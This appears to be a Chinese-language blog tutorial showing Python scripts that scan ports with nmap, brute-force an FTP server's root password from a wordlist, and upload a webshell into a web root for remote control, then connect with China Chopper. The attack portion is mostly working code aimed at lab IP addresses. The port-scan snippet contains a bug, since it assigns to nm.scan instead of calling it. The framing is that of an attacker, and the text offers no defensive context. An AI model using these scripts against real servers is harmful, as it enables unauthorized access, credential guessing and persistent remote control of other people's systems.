1. 程式人生 > >python——利用nmap進行埠掃描,爆破ftp密碼,上傳wellshell.

python——利用nmap進行埠掃描,爆破ftp密碼,上傳wellshell.

一、埠掃描
首先安裝nmap與python-nmap模組。從http://nmap.org/download.html網站下載nmap安裝檔案。從http://xael.org/norman/python/python-nmap網站下載python-nmap模組安裝檔案。
1.程式碼。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socket

nm = nmap.PortScanner()

nm.scan = ('192.168.139.128', '1-1024')

for host in nm.all_hosts():
    print('-------------------------')
    print('host : {0} ({1})'.format(host, nm[host].hostname()))
    print('State : {0}'.format(nm[host].state()))
    
    for proto in nm[host].all_protocols():
        print('--------------')
        print('Protocol : {0}'.format(proto))

        lport = list(nm[host][proto].keys())
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))
    print('----------------------------')

埠掃描原理是黑客pc向伺服器pc傳送多種協議的資料包,觀察伺服器pc的響應行為。若伺服器pc給黑客pc返回某類資料包則證明伺服器pc開放支援這種協議的埠!出了用python程式碼呼叫nmap掃描埠外,你可以直接在命令列使用nmap,這樣更方便快捷!
nmap命令及引數
nmap:

		-sS  半開掃描TCP和SYN掃描

		-sT  完全TCP連結掃描

		-sU  UDP掃描

		-PS  sym包探測(防火牆探測)

		-PA  ack包探測 (防火牆探測)

		-PN  不ping

		-n  不dns解析

		-A -O和-sV

		-O  作業系統識別

		-sV  伺服器版本資訊(banner)

		-P  埠掃描

		-T  設定時間級別(0-5)

		-iL  匯入掃描將結果

		-oG  輸出掃描結果

2.測試。
使用Windows對Linux主機進行埠掃描。
在這裡插入圖片描述
檢視伺服器作業系統。
在這裡插入圖片描述
二、爆破ftp密碼。
通過埠掃描我們看出此伺服器開放21埠用來支援ftp協議(檔案傳輸協議),ftp服務後臺設定中通常不會檢查密碼輸錯次數,所以我們可以使用python提供的ftplib模組,爆破ftp密碼。假設使用者名稱已知,實際大多數使用者都會使用預設的root使用者名稱!
1.程式碼。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

word = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"

def getPassword(password):
    try:
        ftp = FTP("192.168.204.129")
        ftp.login(user_login,password)
        print("user password:",password)
        return True
    except Exception:
        return False
    
passwords = word.readlines()
for password in passwords:
    password = password.strip()
    print("test password:",password)
    if(getPassword(password)): 
        break
word.close()

首先需要建立一個w.txt字典檔案,開啟w.txt檔案,宣告getPassword()函式,用於連線FTP伺服器,並嘗試登入,使用root使用者名稱和字典密碼登入。若正常登入,則執行下一條語句,否則觸發異常!再使用for迴圈遍歷字典,呼叫getPassword()函式,若正常登入則返回True,結束迴圈!
2.測試。
爆破Linux ftp服務密碼。
在這裡插入圖片描述
三、上傳webshell。
使用爆破出來的密碼登入ftp伺服器,上傳webshell。功能強大的webshell可以實現遠端控制主機。
1.程式碼。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

apacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'

ftp = FTP(serverName,serverID,serverPW)

ftp.cwd("/var/www/html/")

fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)

fp.close()
ftp.quit()

首先登入ftp伺服器,再轉到web安裝目錄,然後開啟webshell檔案,最後使用ftp.storbinary(“STOR webshell.php”,fp)上傳webshell檔案到web安裝目錄!
2.測試。
執行程式碼上傳檔案
在這裡插入圖片描述
在伺服器端進入web安裝目錄,可以看到webshell檔案成功上傳,然後使用中國菜刀連線。
在這裡插入圖片描述